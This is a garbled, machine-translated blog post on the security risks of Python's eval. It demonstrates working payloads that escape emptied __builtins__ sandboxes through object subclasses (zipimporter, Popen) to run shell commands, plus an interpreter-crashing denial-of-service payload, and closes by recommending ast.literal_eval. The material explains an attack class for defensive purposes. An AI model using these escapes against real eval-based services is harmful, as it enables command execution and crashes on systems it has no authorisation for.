0x00 Preface
Eval is a built-in function that Python uses to execute Python expressions, and using eval makes it easy to dynamically execute strings. such as the following code:
eval("1+2")eval("[x for x in range(10)]")[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
When the in-memory built-in module contains the OS, eval can also do the command execution:
>>> import os>>> eval("os.system(‘whoami‘)")win-20140812chj\administrator0
Of course, Eval can only execute Python's expression type code, not directly with it for import operations, but exec can. If you do not want to use Eval for import, use __import__
:
>>> exec(‘import os‘)>>> eval(‘import os‘)Traceback (most recent call last): "<stdin>"1in <module> "<string>"1 import os ^SyntaxError: invalid syntax>>> eval("__import__(‘os‘).system(‘whoami‘)")win-20140812chj\administrator0
In the actual code, there is often a need to use the client data to carry over into eval. For example, the introduction of dynamic modules, a chestnut, an online crawler platform crawler may have multiple and in different modules, server-side but often only need to call the user in the client selected crawler type, and through the back end of the exec or eval dynamic call, back-end encoding implementation is very convenient. However, if the user's request processing is inappropriate, it will create a serious security vulnerability.
0x01 "Safe" using eval
The most advocated now is to use the latter two parameters of eval to set the white list of functions:
The Eval function is declared as eval (expression[, globals[, locals])
Where the 23rd parameter specifies the functions to be used in eval, etc., if not specified, the default is the modules and functions contained in the Globals () and locals () functions.
>>>ImportOs>>>' OS ' inchGlobals ()True>>>Eval' Os.system (\ ' whoami\ ') ') win-20140812Chj\administrator0>>>Eval' Os.system (\ ' whoami\ ') ', {},{}) Traceback (most recent call last): File"<stdin>", line1,inch<module> File"<string>", line1,inch<module>nameerror:name' OS ' is notDefined
If you specify that only the ABS function is allowed, you can use the following notation:
>>> Eval (' abs ( -20) ',{' ABS ': ABS},{' ABS ': ABS}) ->>> Eval (' Os.system (\ ' whoami\ ') ',{' ABS ': ABS},{' ABS ': ABS})Traceback(most recent): File "<stdin>", line1,inch< module> File "<string>", line1,inch< module>Nameerror:Name' OS 'Is not defined>>> Eval (' Os.system (\ ' whoami\ ') ') win-20140812Chj\administrator0
The use of this method to protect, indeed can play a certain role, but, 这种处理方法可能会被绕过
and thus cause other problems!
0x02 bypassing execution Code 1
The situation is bypassed as follows, Xiaoming knows that Eval will bring a certain security risk, so use the following means to prevent eval to execute arbitrary code:
env = {}env["locals"] = Noneenv["globals"] = Noneenv["__name__"] = Noneenv["__file__"] = Noneenv["__builtins__"] = Noneevalenv)
Python is a __builtins__
built-in module that is used to set built-in functions. For example, familiar abs,open and other built-in functions, are stored in the module as a dictionary, the following two kinds of writing is equivalent:
>>> __builtins__.abs(-20)20abs(-20)20
We can also customize the built-in functions and use them as you would with built-in functions in Python:
>>> def hello():... print‘shabi‘>>> __builtin__.__dict__[‘say_hello‘] = hello>>> say_hello()shabi
Xiaoming sets the built-in module in the scope of the Eval function to be None
, as if it looks very thorough, but can still be bypassed. __builtins__
is __builtin__
a reference, under the __main__
module, the two are equivalent:
>>> id(__builtins__)3549136>>> id(__builtin__)3549136
According to the method mentioned in cloud drops, use the following code:
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")
The above code first exploits __class__
and __subclasses__
dynamically loads the object
object, because it is not possible to use object directly in eval. The Configobj module in the egg compression file is then imported using the Zipimporter of the object's subclass, and the OS module in its built-in module is called to implement the command execution, assuming, of course, the Configobj egg file.
Configobj module is very interesting, incredibly built-in OS module:
>>> " OS " in configobj.__dict__True >>> import urllib>>> " OS " in Urllib.__dict__true >>> import urllib2>>> " OS " in urllib2.__dict__true >>> configobj.os.system (" WhoAmI ") Win-20140812 chj\administrator0
and Configobj similar modules such as urllib
, urllib2
, and setuptools
so on have the OS built-in, theoretically use which is OK.
If you are unable to download the egg compress file, you can download the folder with setup.py and add:
fromimport setup, find_packages
Then execute:
python setup.py bdist_egg
You can find the corresponding egg file in the Dist folder.
Bypass the demo as follows:
>>>env = {}>>>env["Locals"] =None>>>env["Globals"] =None>>>env["__name__"] =None>>>env["__file__"] =None>>>env["__builtins__"] =None>>>Users_str ="[X for X in (). __class__.__bases__[0].__subclasses__ () if x.__name__ = = ' Zipimporter '][0] (' e:/internships/ Configobj-5.0.5-py2.7.egg '). Load_module (' Configobj '). Os.system (' WhoAmI ') ">>>Eval (USERS_STR, env) win-20140812Chj\administrator0>>>Eval (users_str, {}, {}) win-20140812Chj\administrator0
0x03 denial of service attack 1
There are a lot of interesting things in the subclass of object, and the following code is performed to see:
[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]
I will not output the results here, if you do, you can see a lot of interesting modules, such as File,zipimporter,quitter. After testing, the constructor of file is isolated by the interpreter sandbox.
Simple, or the subclass that exposes object directly quitter to exit:
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == ‘Quitter‘][0](0)()", {‘__builtins__‘:None})C:/>
If the luck is good, encounters the other program to import the os
sensitive module, then the popen can use, and bypasses __builins__
to the empty limit, chestnuts as follows:
>>> Import subprocess>>> eval ("[x for x in (). __class__.__bases__[0].__subclasses__() if X.__name__= = ' Popen ' [0]([' ping ', '-n ', ' 1 ', ' 127.0.0.1 '])",{‘__builtins__': None})<subprocess. Popen Object at 0x0324ff70>>>> Ping 127.0.0.1 has 32 bytes of data: Reply from 127.0.0.1: Byte =32 time<1ms TTL= Ping statistics for127.0.0.1 : packets : sent =
1, received =
1, lost =
0 (
0lost), estimated time to round trip (in milliseconds)
: shortest =
0ms, longest =
0ms, average =
0ms>
>>
In fact, this is a lot of things, such as importing OS modules, which are generally used to handle routing problems. So, in this case, it is possible to enumerate a large number of function functions to detect whether the subclass of the target object contains some dangerous functions that can be used directly.
0x04 denial of service Attack 2
Similarly, we can even bypass __builtins__
for none, causing a denial of service attack, Payload (from a foreigner blog) as follows:
>>> eval(‘(lambda fc=(lambda n: [c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()‘, {"__builtins__":None})
Running the above code, Python directly crash out, resulting in a denial of service attack.
The principle is to construct a piece of code by nesting a lambda, that is, a coded object. Allocate an empty stack for this code object, and give the corresponding code string, here is KABOOM
, the execution of code on the empty stack, there will be crash. After the construction is completed, the call to the FC function can be triggered, the idea is not a lewd.
0X05 Summary
From the above, we can see that the only built-in modules to empty, is not enough, the best mechanism is to construct a white list, if you feel more trouble, you can use ast.literal_eval
instead of unsafe eval
.
Resources:
"1" http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
"2" http://drops.wooyun.org/web/7490
"3" Http://stackoverflow.com/questions/3513292/python-make-eval-safe
Copyright NOTICE: This article for Bo Master original article, without Bo Master permission not reproduced.
Potential risks of Eval in Python